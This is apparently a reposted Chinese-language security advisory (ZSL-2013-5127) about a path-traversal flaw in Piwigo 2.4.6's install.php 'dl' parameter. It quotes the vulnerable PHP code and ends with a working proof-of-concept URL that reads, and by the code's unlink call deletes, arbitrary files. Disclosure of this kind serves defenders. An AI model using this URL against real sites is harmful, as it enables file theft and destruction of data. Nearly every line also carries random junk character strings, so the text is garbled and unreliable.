Piwigo是用PHP编写的相册脚本。: l( N5 U, E% z) \
* U: G3 r% @8 r: k1 q
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
6 D; G" a) f/ t# [3 i7 j====================================================================7 r) d6 K3 n1 j( ^0 i$ ?& ]% f
/install.php:# X. g5 n/ m9 Q4 ?9 x
-------------
( O( d `9 q, H113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
, b' z8 \7 w8 q2 u) d9 i' i114: {; C4 r# s2 i" l- j% I
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' m( x. M; z- d+ X116: header('Cache-Control: no-cache, must-revalidate');& C% m: E# r4 z" ~
117: header('Pragma: no-cache');
1 b; p' o9 W; g3 ~5 W/ j% D118: header('Content-Disposition: attachment; filename="database.inc.php"');; }- u x1 K; e- Q( N
119: header('Content-Transfer-Encoding: binary');
5 L Q' m( b% U9 D120: header('Content-Length: '.filesize($filename));
3 ]9 N% N t7 e# V121: echo file_get_contents($filename);: B2 z( N' R6 ?* Z6 ?; i' p
122: unlink($filename);
0 R5 R" k; _/ u, A0 {! B123: exit();# T: d& T& N( T- f8 }
124: }5 N" L# ~ \+ _5 f" `, B) u$ {
====================================================================* d/ {* ?! m+ F. Z/ G& L$ T2 B: S
$ @( P; n- Z% T( D0 b+ uTested on: Microsoft Windows 7 Ultimate SP1 (EN) b! _( F7 Y0 ~
Apache 2.4.2 (Win32)
# e4 q* {( ~) {; |. ^ PHP 5.4.45 c8 F! a/ r4 U- n. z
MySQL 5.5.25a/ w( q! Z* b$ p: W! c
& _% e2 E, x' X/ \' @% S' T
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic! B2 e: Y) a* t4 ^ k
@zeroscience
- {3 p* z) @3 ?$ K; x" o , v6 N" k4 u- P, w4 w
Advisory ID: ZSL-2013-5127
6 m# W" y) \4 D5 {1 d2 ?0 tAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
! t/ _0 d' F" |4 T; tVendor Patch: http://piwigo.org/bugs/view.php?id=2843# a0 n+ ^* k. a, o. G- Z' I7 _0 C
7 S! X% E8 j+ a4 l6 C$ r15.02.2013
9 d/ f k# y9 p
9 M) Z* U5 A* _5 K7 r! u--
/ K9 w2 c6 Y+ h6 _http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
' ` P, L' I* C- [) u0 E1 Z! @7 h" v8 } 4 f7 Q" e9 z/ {
|